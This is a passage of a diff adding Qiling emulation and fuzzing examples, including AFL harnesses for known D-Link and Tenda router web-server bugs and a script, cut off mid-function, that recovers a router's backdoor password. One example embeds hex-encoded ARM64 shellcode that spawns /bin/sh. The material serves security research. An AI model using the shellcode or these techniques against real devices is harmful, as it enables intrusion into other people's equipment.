600080826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403101515156101cb57600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555060019050929150505600a165627a7a7230582098f1551a391a3e65b3ce45cfa2b3fa5f91eea9a3e7181a81454e025ea0d7151c0029'
|
||||
ql = Qiling(code=code, archtype="evm")
|
||||
|
||||
# Add Balance Var to the contract
|
||||
bal = ql.arch.evm.abi.convert(['uint256'], [20])
|
||||
contract = code + bal
|
||||
|
||||
user1 = ql.arch.evm.create_account()
|
||||
user2 = ql.arch.evm.create_account()
|
||||
c1 = ql.arch.evm.create_account()
|
||||
|
||||
def check_balance(sender, destination):
|
||||
call_data = '0x70a08231'+ql.arch.evm.abi.convert(['address'], [sender])
|
||||
msg2 = ql.arch.evm.create_message(sender, destination, call_data)
|
||||
return ql.run(code=msg2)
|
||||
|
||||
# Deploy runtime code
|
||||
msg0 = ql.arch.evm.create_message(user1, b'', code=contract, contract_address=c1)
|
||||
ql.run(code=msg0)
|
||||
|
||||
# SMART CONTRACT DEPENDENT: check balance of user1, should be 20
|
||||
result = check_balance(user1, c1)
|
||||
|
||||
# SMART CONTRACT DEPENDENT: transform 21 from user1 to user2
|
||||
call_data = '0xa9059cbb'+ ql.arch.evm.abi.convert(['address'], [user2]) + \
|
||||
ql.arch.evm.abi.convert(['uint256'], [fuzz_balance])
|
||||
msg1 = ql.arch.evm.create_message(user1, c1, call_data)
|
||||
result = ql.run(code=msg1)
|
||||
|
||||
# SMART CONTRACT DEPENDENT: User1 balance underflow, MAX - 1
|
||||
result = check_balance(user1, c1)
|
||||
|
||||
if int(result.output_data.hex()[2:], 16) > 20:
|
||||
raise OverflowError()
|
||||
|
||||
@@ -0,0 +1,37 @@
|
||||
from qiling import *
|
||||
|
||||
class QILING_IDA():
|
||||
def __init__(self):
|
||||
pass
|
||||
|
||||
def _show_context(self, ql:Qiling):
|
||||
registers = [ k for k in ql.arch.regs.register_mapping.keys() if type(k) is str ]
|
||||
for idx in range(0, len(registers), 3):
|
||||
regs = registers[idx:idx+3]
|
||||
s = "\t".join(map(lambda v: f"{v:4}: {ql.arch.regs.__getattr__(v):016x}", regs))
|
||||
ql.log.info(s)
|
||||
|
||||
def custom_prepare(self, ql:Qiling):
|
||||
ql.log.info('Context before starting emulation:')
|
||||
self._show_context(ql)
|
||||
|
||||
def custom_continue(self, ql:Qiling):
|
||||
ql.log.info('custom_continue hook.')
|
||||
self._show_context(ql)
|
||||
hook = []
|
||||
return hook
|
||||
|
||||
def custom_step(self, ql:Qiling):
|
||||
def step_hook(ql, addr, size):
|
||||
ql.log.info(f"Executing: {hex(addr)}")
|
||||
self._show_context(ql)
|
||||
|
||||
ql.log.info('custom_step hook')
|
||||
hook = []
|
||||
hook.append(ql.hook_code(step_hook))
|
||||
return hook
|
||||
|
||||
def custom_execute_selection(self, ql:Qiling):
|
||||
ql.log.info('custom execute selection hook')
|
||||
hook = []
|
||||
return hook
|
||||
@@ -0,0 +1,50 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
|
||||
#
|
||||
|
||||
import sys
|
||||
sys.path.append('..')
|
||||
|
||||
from qiling import Qiling
|
||||
from qiling.const import QL_VERBOSE
|
||||
from qiling.extensions.r2 import R2
|
||||
|
||||
|
||||
def func(ql: Qiling, *args, **kwargs):
|
||||
ql.os.stdout.write(b"=====hooked main=====!\n")
|
||||
return
|
||||
|
||||
def my_sandbox(path, rootfs):
|
||||
ql = Qiling(path, rootfs, verbose=QL_VERBOSE.DISASM)
|
||||
# QL_VERBOSE.DISASM will be monkey-patched when r2 is available
|
||||
r2 = R2(ql)
|
||||
|
||||
# search bytes sequence using ql.mem.search
|
||||
addrs = ql.mem.search(b'llo worl') # return all matching results
|
||||
print(r2.at(addrs[0])) # find corresponding flag at the address and the offset to the flag
|
||||
# search string using r2
|
||||
addr = r2.strings['Hello world!'].vaddr # key must be exactly same
|
||||
print(addrs[0], addr)
|
||||
# print xref to string "Hello world!"
|
||||
print(r2.refto(addr))
|
||||
# write to string using ql.mem.write
|
||||
ql.mem.write(addr, b"No hello, Bye!\x00")
|
||||
|
||||
# get function address and hook it
|
||||
ql.hook_address(func, r2.functions['main'].offset)
|
||||
# enable trace powered by r2 symsmap
|
||||
# r2.enable_trace()
|
||||
ql.run()
|
||||
|
||||
if __name__ == "__main__":
|
||||
my_sandbox(["rootfs/x86_windows/bin/x86_hello.exe"], "rootfs/x86_windows")
|
||||
|
||||
# test shellcode mode
|
||||
ARM64_LIN = bytes.fromhex('420002ca210080d2400080d2c81880d2010000d4e60300aa01020010020280d2681980d2010000d4410080d2420002cae00306aa080380d2010000d4210400f165ffff54e0000010420002ca210001caa81b80d2010000d4020004d27f0000012f62696e2f736800')
|
||||
print("\nLinux ARM 64bit Shellcode")
|
||||
ql = Qiling(code=ARM64_LIN, archtype="arm64", ostype="linux", verbose=QL_VERBOSE.DEBUG)
|
||||
r2 = R2(ql)
|
||||
# disassemble 32 instructions
|
||||
print(r2._cmd('pd 32'))
|
||||
ql.run()
|
||||
@@ -0,0 +1,23 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
|
||||
#
|
||||
|
||||
import sys
|
||||
|
||||
sys.path.append("..")
|
||||
|
||||
from qiling import *
|
||||
from qiling.const import QL_VERBOSE
|
||||
from qiling.extensions.report import generate_report
|
||||
|
||||
|
||||
def my_sandbox(path, rootfs):
|
||||
ql = Qiling(path, rootfs, verbose=QL_VERBOSE.DEBUG)
|
||||
ql.run()
|
||||
my_json = generate_report(ql) # do something with the json
|
||||
print(generate_report(ql, pretty_print=True)) # or just print it to console
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
my_sandbox(["rootfs/x86_windows/bin/x86_hello.exe"], "rootfs/x86_windows")
|
||||
@@ -0,0 +1,63 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
|
||||
#
|
||||
|
||||
# Everything about the bug and firmware https://www.exploit-db.com/exploits/33863
|
||||
|
||||
import os,sys
|
||||
|
||||
sys.path.append("../../..")
|
||||
from qiling import *
|
||||
from qiling.const import QL_VERBOSE
|
||||
from qiling.extensions.afl import ql_afl_fuzz
|
||||
|
||||
def main(input_file, enable_trace=False):
|
||||
|
||||
env_vars = {
|
||||
"REQUEST_METHOD": "POST",
|
||||
"REQUEST_URI": "/hedwig.cgi",
|
||||
"CONTENT_TYPE": "application/x-www-form-urlencoded",
|
||||
"REMOTE_ADDR": "127.0.0.1",
|
||||
"HTTP_COOKIE": "uid=1234&password="+"A" * 0x1000, # fill up
|
||||
# "CONTENT_LENGTH": "8", # no needed
|
||||
}
|
||||
|
||||
ql = Qiling(["./rootfs/htdocs/web/hedwig.cgi"], "./rootfs",
|
||||
verbose=QL_VERBOSE.DEBUG, env=env_vars,
|
||||
console = True if enable_trace else False)
|
||||
|
||||
def place_input_callback(ql: Qiling, input: bytes, _: int):
|
||||
env_var = ("HTTP_COOKIE=uid=1234&password=").encode()
|
||||
env_vars = env_var + input + b"\x00" + (ql.path).encode() + b"\x00"
|
||||
ql.mem.write(ql.target_addr, env_vars)
|
||||
|
||||
def start_afl(_ql: Qiling):
|
||||
|
||||
"""
|
||||
Callback from inside
|
||||
"""
|
||||
ql_afl_fuzz(_ql, input_file=input_file, place_input_callback=place_input_callback, exits=[ql.os.exit_point])
|
||||
|
||||
addr = ql.mem.search("HTTP_COOKIE=uid=1234&password=".encode())
|
||||
ql.target_addr = addr[0]
|
||||
|
||||
main_addr = ql.os.elf_entry
|
||||
ql.hook_address(callback=start_afl, address=main_addr)
|
||||
|
||||
try:
|
||||
ql.run()
|
||||
os._exit(0)
|
||||
except:
|
||||
if enable_trace:
|
||||
print("\nFuzzer Went Shit")
|
||||
os._exit(0)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
if len(sys.argv) == 1:
|
||||
raise ValueError("No input file provided.")
|
||||
if len(sys.argv) > 2 and sys.argv[1] == "-t":
|
||||
main(sys.argv[2], enable_trace=True)
|
||||
else:
|
||||
main(sys.argv[1])
|
||||
+76
@@ -0,0 +1,76 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
"""Simple example of how to use Qiling together with AFLplusplus.
|
||||
|
||||
Steps:
|
||||
o Clone and build AFL++
|
||||
$ git clone https://github.com/AFLplusplus/AFLplusplus.git
|
||||
$ make -C AFLplusplus
|
||||
|
||||
o Build Unicorn support
|
||||
$ ( cd AFLplusplus/unicorn_mode ; ./build_unicorn_support.sh )
|
||||
|
||||
o Start fuzzing
|
||||
$ AFL_AUTORESUME=1 AFL_PATH="$(realpath ./AFLplusplus)" PATH="$AFL_PATH:$PATH" afl-fuzz -i afl_inputs -o afl_outputs -U -- python3 ./fuzz_x8664_linux.py @@
|
||||
|
||||
o Cleanup results
|
||||
$ rm -fr afl_outputs/default/
|
||||
"""
|
||||
|
||||
# No more need for importing unicornafl, try afl.ql_afl_fuzz instead!
|
||||
|
||||
import os
|
||||
import sys
|
||||
|
||||
from typing import Optional
|
||||
|
||||
sys.path.append("../../..")
|
||||
from qiling import Qiling
|
||||
from qiling.const import QL_VERBOSE
|
||||
from qiling.extensions import pipe
|
||||
from qiling.extensions import afl
|
||||
|
||||
def main(input_file: str):
|
||||
ql = Qiling(["./x8664_fuzz"], "../../rootfs/x8664_linux",
|
||||
verbose=QL_VERBOSE.OFF, # keep qiling logging off
|
||||
console=False) # thwart program output
|
||||
|
||||
# redirect stdin to our mock to feed it with incoming fuzzed keystrokes
|
||||
ql.os.stdin = pipe.SimpleInStream(sys.stdin.fileno())
|
||||
|
||||
def place_input_callback(ql: Qiling, input: bytes, persistent_round: int) -> Optional[bool]:
|
||||
"""Feed generated stimuli to the fuzzed target.
|
||||
|
||||
This method is called with every fuzzing iteration.
|
||||
"""
|
||||
|
||||
# feed fuzzed input to our mock stdin
|
||||
ql.os.stdin.write(input)
|
||||
|
||||
# signal afl to proceed with this input
|
||||
return True
|
||||
|
||||
def start_afl(ql: Qiling):
|
||||
"""Have Unicorn fork and start instrumentation.
|
||||
"""
|
||||
|
||||
afl.ql_afl_fuzz(ql, input_file=input_file, place_input_callback=place_input_callback, exits=[ql.os.exit_point])
|
||||
|
||||
# get image base address
|
||||
ba = ql.loader.images[0].base
|
||||
|
||||
# make the process crash whenever __stack_chk_fail@plt is about to be called.
|
||||
# this way afl will count stack protection violations as crashes
|
||||
ql.hook_address(callback=lambda x: os.abort(), address=ba + 0x126e)
|
||||
|
||||
# set afl instrumentation [re]starting point. we set it to 'main'
|
||||
ql.hook_address(callback=start_afl, address=ba + 0x1275)
|
||||
|
||||
# okay, ready to roll
|
||||
ql.run()
|
||||
|
||||
if __name__ == "__main__":
|
||||
if len(sys.argv) == 1:
|
||||
raise ValueError("No input file provided.")
|
||||
|
||||
main(sys.argv[1])
|
||||
@@ -0,0 +1,41 @@
|
||||
#!/usr/bin/python3
|
||||
|
||||
from fuzzercorn import *
|
||||
from unicorn import *
|
||||
from qiling import Qiling
|
||||
from qiling.extensions import pipe
|
||||
|
||||
import sys, os, ctypes
|
||||
|
||||
class SimpleFuzzer:
|
||||
|
||||
def run(self):
|
||||
ql = Qiling(["./x8664_fuzz"], "../../rootfs/x8664_linux", console=False)
|
||||
ba = ql.loader.images[0].base
|
||||
try:
|
||||
# Only instrument the function `fun`, so we don't need to instrument libc and ld
|
||||
FuzzerCornFuzz(ql.uc, sys.argv, [ql.os.exit_point], self.place_input, self.init, UserData=ql, Ranges=[(ba + 0x1179, ba + 0x122B)], CountersCount=4096)
|
||||
except Exception as ex:
|
||||
os.abort() # Quick exit
|
||||
|
||||
def place_input(self, uc: Uc, data: ctypes.Array, ql: Qiling):
|
||||
ql.restore(self.snapshot)
|
||||
ql.os.stdin = pipe.SimpleInStream(1)
|
||||
ql.os.stdin.write(bytes(data))
|
||||
return 1
|
||||
|
||||
def init(self, uc: Uc, argv: list, ql: Qiling):
|
||||
ba = ql.loader.images[0].base
|
||||
ql.hook_address(callback=lambda x: os.abort(), address=ba + 0x1225) # ___stack_chk_fail
|
||||
ql.run(end=ba + 0x122c) # Run to main.
|
||||
|
||||
# Save a snapshot.
|
||||
self.snapshot = ql.save()
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
# chmod +x ./libfuzzer_x8664_linux.py
|
||||
# ./libfuzzer_x8664_linux.py -jobs=6 -workers=6
|
||||
SimpleFuzzer().run()
|
||||
|
||||
+90
@@ -0,0 +1,90 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Simple example of how to use Qiling together with AFLplusplus.
|
||||
This is tested with the recent Qiling framework (the one you cloned),
|
||||
afl++ from https://github.com/AFLplusplus/AFLplusplus
|
||||
|
||||
After building afl++, make sure you install `unicorn_mode/setup_unicorn.sh`
|
||||
|
||||
Then, run this file using afl++ unicorn mode with
|
||||
afl-fuzz -i ./afl_inputs -o ./afl_outputs -m none -U -- python3 ./fuzz_x8664_linux.py @@
|
||||
"""
|
||||
|
||||
# No more need for importing unicornafl, try ql.afl_fuzz instead!
|
||||
|
||||
import sys, os
|
||||
from binascii import hexlify
|
||||
|
||||
sys.path.append("../../..")
|
||||
from qiling import *
|
||||
from qiling.extensions import pipe
|
||||
from qiling.extensions.afl import ql_afl_fuzz
|
||||
|
||||
def main(input_file, enable_trace=False):
|
||||
ql = Qiling(["./arm_fuzz"], "../../rootfs/arm_qnx", console=enable_trace)
|
||||
|
||||
ql.os.stdin = pipe.SimpleInStream(sys.stdin.fileno())
|
||||
|
||||
if not enable_trace:
|
||||
ql.os.stdout = pipe.NullOutStream(sys.stdout.fileno())
|
||||
ql.os.stderr = pipe.NullOutStream(sys.stderr.fileno())
|
||||
|
||||
def place_input_callback(ql: Qiling, input: bytes, _: int):
|
||||
ql.os.stdin.write(input)
|
||||
return True
|
||||
|
||||
def start_afl(_ql: Qiling):
|
||||
ql_afl_fuzz(_ql, input_file=input_file, place_input_callback=place_input_callback, exits=[ql.os.exit_point])
|
||||
|
||||
LIBC_BASE = int(ql.profile.get("OS32", "interp_address"), 16)
|
||||
|
||||
# crash in case we reach SignalKill
|
||||
ql.hook_address(callback=lambda x: os.abort(), address=LIBC_BASE + 0x38170)
|
||||
|
||||
# Add hook at main() that will fork Unicorn and start instrumentation.
|
||||
main_addr = 0x08048aa0
|
||||
ql.hook_address(callback=start_afl, address=main_addr)
|
||||
|
||||
if enable_trace:
|
||||
# The following lines are only for `-t` debug output
|
||||
md = ql.arch.disassembler
|
||||
count = [0]
|
||||
|
||||
def spaced_hex(data):
|
||||
return b' '.join(hexlify(data)[i:i+2] for i in range(0, len(hexlify(data)), 2)).decode('utf-8')
|
||||
|
||||
def disasm(count, ql, address, size):
|
||||
buf = ql.mem.read(address, size)
|
||||
try:
|
||||
for i in md.disasm(buf, address):
|
||||
return "{:08X}\t{:08X}: {:24s} {:10s} {:16s}".format(count[0], i.address, spaced_hex(buf), i.mnemonic,
|
||||
i.op_str)
|
||||
except:
|
||||
import traceback
|
||||
print(traceback.format_exc())
|
||||
|
||||
def trace_cb(ql, address, size, count):
|
||||
rtn = '{:100s}'.format(disasm(count, ql, address, size))
|
||||
print(rtn)
|
||||
count[0] += 1
|
||||
|
||||
ql.hook_code(trace_cb, count)
|
||||
|
||||
# okay, ready to roll.
|
||||
# try:
|
||||
ql.run()
|
||||
# except Exception as ex:
|
||||
# # Probable unicorn memory error. Treat as crash.
|
||||
# print(ex)
|
||||
# os.abort()
|
||||
|
||||
os._exit(0) # that's a looot faster than tidying up.
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
if len(sys.argv) == 1:
|
||||
raise ValueError("No input file provided.")
|
||||
if len(sys.argv) > 2 and sys.argv[1] == "-t":
|
||||
main(sys.argv[2], enable_trace=True)
|
||||
else:
|
||||
main(sys.argv[1])
|
||||
@@ -0,0 +1,56 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
|
||||
#
|
||||
|
||||
import os
|
||||
import sys
|
||||
|
||||
from typing import Any, Optional
|
||||
|
||||
sys.path.append("../../..")
|
||||
from qiling.core import Qiling
|
||||
from qiling.const import QL_VERBOSE
|
||||
|
||||
from qiling.extensions.afl import ql_afl_fuzz_custom
|
||||
from qiling.extensions.mcu.stm32f4 import stm32f429
|
||||
|
||||
from unicorn import UC_ERR_OK, UcError
|
||||
|
||||
def main(input_file: str):
|
||||
ql = Qiling(["../../rootfs/mcu/stm32f429/bof.elf"],
|
||||
archtype="cortex_m",
|
||||
env=stm32f429,
|
||||
ostype='mcu',
|
||||
verbose=QL_VERBOSE.DISABLED)
|
||||
|
||||
ql.hw.create('rcc')
|
||||
ql.hw.create('usart2')
|
||||
ql.hw.create('usart3')
|
||||
|
||||
ql.fast_mode = True
|
||||
|
||||
def place_input_callback(ql: Qiling, input_bytes: bytes, persistent_round: int) -> Optional[bool]:
|
||||
"""Called with every newly generated input."""
|
||||
|
||||
ql.hw.usart3.send(input_bytes)
|
||||
|
||||
return True
|
||||
|
||||
def fuzzing_callback(ql: Qiling):
|
||||
ql.run(end=0x80006d9)
|
||||
|
||||
return UC_ERR_OK
|
||||
|
||||
ql.uc.ctl_exits_enabled(True)
|
||||
ql.uc.ctl_set_exits([0x80006d9])
|
||||
|
||||
ql_afl_fuzz_custom(ql, input_file, place_input_callback, fuzzing_callback=fuzzing_callback)
|
||||
|
||||
os.exit(0)
|
||||
|
||||
if __name__ == "__main__":
|
||||
if len(sys.argv) == 1:
|
||||
raise ValueError("No input file provided.")
|
||||
|
||||
main(sys.argv[1])
|
||||
@@ -0,0 +1,63 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
|
||||
#
|
||||
|
||||
|
||||
# 1. Download AC15 Firmware from https://down.tenda.com.cn/uploadfile/AC15/US_AC15V1.0BR_V15.03.05.19_multi_TD01.zip
|
||||
# 2. unzip
|
||||
# 3. binwalk -e US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin
|
||||
# 4. locate squashfs-root
|
||||
# 5. rm -rf webroot && mv webroot_ro webroot
|
||||
# 5. mv etc_ro etc
|
||||
|
||||
import os, pickle, socket, sys, threading
|
||||
|
||||
sys.path.append("../../../")
|
||||
from qiling import *
|
||||
from qiling.const import QL_VERBOSE
|
||||
from qiling.extensions.afl import ql_afl_fuzz
|
||||
|
||||
def patcher(ql):
|
||||
br0_addr = ql.mem.search("br0".encode() + b'\x00')
|
||||
for addr in br0_addr:
|
||||
ql.mem.write(addr, b'lo\x00')
|
||||
|
||||
|
||||
def main(input_file, enable_trace=False):
|
||||
ql = Qiling(["rootfs/bin/httpd"], "rootfs", verbose=QL_VERBOSE.DEBUG, console = True if enable_trace else False)
|
||||
|
||||
# save current emulated status
|
||||
ql.restore(snapshot="snapshot.bin")
|
||||
|
||||
# return should be 0x7ff3ca64
|
||||
fuzz_mem=ql.mem.search(b"CCCCAAAA")
|
||||
target_address = fuzz_mem[0]
|
||||
|
||||
def place_input_callback(_ql: Qiling, input: bytes, _):
|
||||
_ql.mem.write(target_address, input)
|
||||
|
||||
def start_afl(_ql: Qiling):
|
||||
"""
|
||||
Callback from inside
|
||||
"""
|
||||
ql_afl_fuzz(_ql, input_file=input_file, place_input_callback=place_input_callback, exits=[ql.os.exit_point])
|
||||
|
||||
ql.hook_address(callback=start_afl, address=0x10930+8)
|
||||
|
||||
try:
|
||||
ql.run(begin = 0x10930+4, end = 0x7a0cc+4)
|
||||
os._exit(0)
|
||||
except:
|
||||
if enable_trace:
|
||||
print("\nFuzzer Went Shit")
|
||||
os._exit(0)
|
||||
|
||||
if __name__ == "__main__":
|
||||
if len(sys.argv) == 1:
|
||||
raise ValueError("No input file provided.")
|
||||
|
||||
if len(sys.argv) > 2 and sys.argv[1] == "-t":
|
||||
main(sys.argv[2], enable_trace=True)
|
||||
else:
|
||||
main(sys.argv[1])
|
||||
@@ -0,0 +1,78 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
|
||||
#
|
||||
|
||||
|
||||
# 1. Download AC15 Firmware from https://down.tenda.com.cn/uploadfile/AC15/US_AC15V1.0BR_V15.03.05.19_multi_TD01.zip
|
||||
# 2. unzip
|
||||
# 3. binwalk -e US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin
|
||||
# 4. locate squashfs-root
|
||||
# 5. rm -rf webroot && mv webroot_ro webroot
|
||||
#
|
||||
# notes: we are using rootfs in this example, so rootfs = squashfs-root
|
||||
#
|
||||
|
||||
import ctypes, os, pickle, socket, sys, threading
|
||||
sys.path.append("..")
|
||||
from qiling import *
|
||||
from qiling.const import QL_VERBOSE
|
||||
|
||||
def nvram_listener():
|
||||
server_address = 'rootfs/var/cfm_socket'
|
||||
data = ""
|
||||
|
||||
try:
|
||||
os.unlink(server_address)
|
||||
except OSError:
|
||||
if os.path.exists(server_address):
|
||||
raise
|
||||
|
||||
# Create UDS socket
|
||||
sock = socket.socket(socket.AF_UNIX,socket.SOCK_STREAM)
|
||||
sock.bind(server_address)
|
||||
sock.listen(1)
|
||||
|
||||
while True:
|
||||
connection, client_address = sock.accept()
|
||||
try:
|
||||
while True:
|
||||
data += str(connection.recv(1024))
|
||||
|
||||
if "lan.webiplansslen" in data:
|
||||
connection.send('192.168.170.169'.encode())
|
||||
else:
|
||||
break
|
||||
data = ""
|
||||
finally:
|
||||
connection.close()
|
||||
|
||||
|
||||
def save_context(ql, *args, **kw):
|
||||
ql.save(cpu_context=False, snapshot="snapshot.bin")
|
||||
|
||||
def patcher(ql):
|
||||
br0_addr = ql.mem.search("br0".encode() + b'\x00')
|
||||
for addr in br0_addr:
|
||||
ql.mem.write(addr, b'lo\x00')
|
||||
|
||||
|
||||
def check_pc(ql):
|
||||
print("=" * 50)
|
||||
print("Hit fuzz point, stop at PC = 0x%x" % ql.arch.regs.arch_pc)
|
||||
print("=" * 50)
|
||||
ql.emu_stop()
|
||||
|
||||
|
||||
def my_sandbox(path, rootfs):
|
||||
ql = Qiling(path, rootfs, verbose=QL_VERBOSE.DEBUG)
|
||||
ql.add_fs_mapper("/dev/urandom","/dev/urandom")
|
||||
ql.hook_address(save_context, 0x10930)
|
||||
ql.hook_address(patcher, ql.loader.elf_entry)
|
||||
ql.hook_address(check_pc, 0x7a0cc)
|
||||
ql.run()
|
||||
|
||||
if __name__ == "__main__":
|
||||
nvram_listener_therad = threading.Thread(target=nvram_listener, daemon=True)
|
||||
nvram_listener_therad.start()
|
||||
my_sandbox(["rootfs/bin/httpd"], "rootfs")
|
||||
@@ -0,0 +1,14 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
|
||||
#
|
||||
|
||||
import sys
|
||||
sys.path.append("..")
|
||||
|
||||
from qiling import Qiling
|
||||
from qiling.const import QL_VERBOSE
|
||||
|
||||
if __name__ == "__main__":
|
||||
ql = Qiling(["rootfs/8086/dos/HI.DOS_COM"], "rootfs/8086/dos", verbose=QL_VERBOSE.DEFAULT)
|
||||
ql.run()
|
||||
@@ -0,0 +1,45 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
|
||||
#
|
||||
|
||||
import sys
|
||||
sys.path.append("..")
|
||||
|
||||
from qiling import Qiling
|
||||
from qiling.const import QL_VERBOSE
|
||||
|
||||
# customized system calls always use the same arguments list as the original ones,
|
||||
# but with a Qiling instance as first argument
|
||||
def my_syscall_write(ql: Qiling, fd: int, buf: int, count: int):
|
||||
try:
|
||||
# read data from emulated memory
|
||||
data = ql.mem.read(buf, count)
|
||||
|
||||
# select the emulated file object that corresponds to the requested
|
||||
# file descriptor
|
||||
fobj = ql.os.fd[fd]
|
||||
|
||||
# write the data into the file object, if it supports write operations
|
||||
if hasattr(fobj, 'write'):
|
||||
fobj.write(data)
|
||||
except:
|
||||
ret = -1
|
||||
else:
|
||||
ret = count
|
||||
|
||||
ql.log.info(f'my_syscall_write({fd}, {buf:#x}, {count}) = {ret}')
|
||||
|
||||
return ret
|
||||
|
||||
if __name__ == "__main__":
|
||||
ql = Qiling([r'rootfs/arm_linux/bin/arm_hello'], r'rootfs/arm_linux', verbose=QL_VERBOSE.DEBUG)
|
||||
|
||||
# replacing a system call with a custom implementation.
|
||||
# note that system calls may be referred to either by their name or number.
|
||||
ql.os.set_syscall(0x04, my_syscall_write)
|
||||
|
||||
# an possible alternative: refer to a syscall by its name
|
||||
#ql.os.set_syscall('write', my_syscall_write)
|
||||
|
||||
ql.run()
|
||||
@@ -0,0 +1,21 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
|
||||
#
|
||||
|
||||
import sys
|
||||
sys.path.append("..")
|
||||
|
||||
from qiling import Qiling
|
||||
from qiling.const import QL_VERBOSE
|
||||
|
||||
if __name__ == "__main__":
|
||||
ql = Qiling([r'rootfs/arm_linux/bin/arm_hello'], r'rootfs/arm_linux', verbose=QL_VERBOSE.DEBUG)
|
||||
|
||||
ql.debugger = "qdb" # enable qdb without options
|
||||
|
||||
# other possible alternatives:
|
||||
# ql.debugger = "qdb::rr" # switch on record and replay with rr
|
||||
# ql.debugger = "qdb:0x1030c" # enable qdb and setup breakpoin at 0x1030c
|
||||
|
||||
ql.run()
|
||||
@@ -0,0 +1,13 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
|
||||
#
|
||||
|
||||
import sys
|
||||
sys.path.append("..")
|
||||
|
||||
from qiling import Qiling
|
||||
|
||||
if __name__ == "__main__":
|
||||
ql = Qiling(["rootfs/arm_qnx/bin/hello_static"], "rootfs/arm_qnx")
|
||||
ql.run()
|
||||
@@ -0,0 +1,37 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
|
||||
#
|
||||
|
||||
import sys
|
||||
sys.path.append("..")
|
||||
|
||||
from qiling import Qiling
|
||||
from qiling.const import QL_INTERCEPT, QL_CALL_BLOCK
|
||||
from qiling.os.const import STRING
|
||||
|
||||
def my_puts_onenter(ql: Qiling):
|
||||
params = ql.os.resolve_fcall_params({'s': STRING})
|
||||
|
||||
print(f'puts("{params["s"]}")')
|
||||
|
||||
return QL_CALL_BLOCK
|
||||
|
||||
def my_printf_onenter(ql: Qiling):
|
||||
params = ql.os.resolve_fcall_params({'s': STRING})
|
||||
|
||||
print(f'printf("{params["s"]}")')
|
||||
|
||||
return QL_CALL_BLOCK
|
||||
|
||||
def my_puts_onexit(ql: Qiling):
|
||||
print(f'after puts')
|
||||
|
||||
return QL_CALL_BLOCK
|
||||
|
||||
if __name__ == "__main__":
|
||||
ql = Qiling(["rootfs/arm_qnx/bin/hello_static"], "rootfs/arm_qnx")
|
||||
ql.os.set_api('puts', my_puts_onenter, QL_INTERCEPT.ENTER)
|
||||
ql.os.set_api('printf', my_printf_onenter, QL_INTERCEPT.ENTER)
|
||||
ql.os.set_api('puts', my_puts_onexit, QL_INTERCEPT.EXIT)
|
||||
ql.run()
|
||||
@@ -0,0 +1,14 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
|
||||
#
|
||||
|
||||
import sys
|
||||
sys.path.append("..")
|
||||
|
||||
from qiling import Qiling
|
||||
|
||||
if __name__ == "__main__":
|
||||
ql = Qiling(["rootfs/arm_linux/bin/arm_hello"], "rootfs/arm_linux")
|
||||
ql.filter = r"^open"
|
||||
ql.run()
|
||||
@@ -0,0 +1,74 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
|
||||
#
|
||||
|
||||
import sys
|
||||
sys.path.append("..")
|
||||
|
||||
from qiling.core import Qiling
|
||||
from qiling.const import QL_VERBOSE
|
||||
from qiling.os.const import STRING
|
||||
|
||||
def get_kaimendaji_password():
|
||||
def my_getenv(ql: Qiling):
|
||||
env = {
|
||||
"ID" : b"000000000000000",
|
||||
"ethaddr" : b"11:22:33:44:55:66"
|
||||
}
|
||||
|
||||
params = ql.os.resolve_fcall_params({'key': STRING})
|
||||
value = env.get(params["key"], b"")
|
||||
|
||||
value_addr = ql.os.heap.alloc(len(value))
|
||||
ql.mem.write(value_addr, value)
|
||||
|
||||
ql.arch.regs.r0 = value_addr
|
||||
ql.arch.regs.arch_pc = ql.arch.regs.lr
|
||||
|
||||
def get_password(ql: Qiling):
|
||||
password_raw = ql.mem.read(ql.arch.regs.r0, ql.arch.regs.r2)
|
||||
|
||||
password = ''
|
||||
for item in password_raw:
|
||||
if 0 <= item <= 9:
|
||||
password += chr(item + 48)
|
||||
else:
|
||||
password += chr(item + 87)
|
||||
|
||||
print("The password is: %s" % password)
|
||||
|
||||
def partial_run_init(ql: Qiling):
|
||||
# argv prepare
|
||||
ql.arch.regs.arch_sp -= 0x30
|
||||
arg0_ptr = ql.arch.regs.arch_sp
|
||||
ql.mem.write(arg0_ptr, b"kaimendaji")
|
||||
|
||||
ql.arch.regs.arch_sp -= 0x10
|
||||
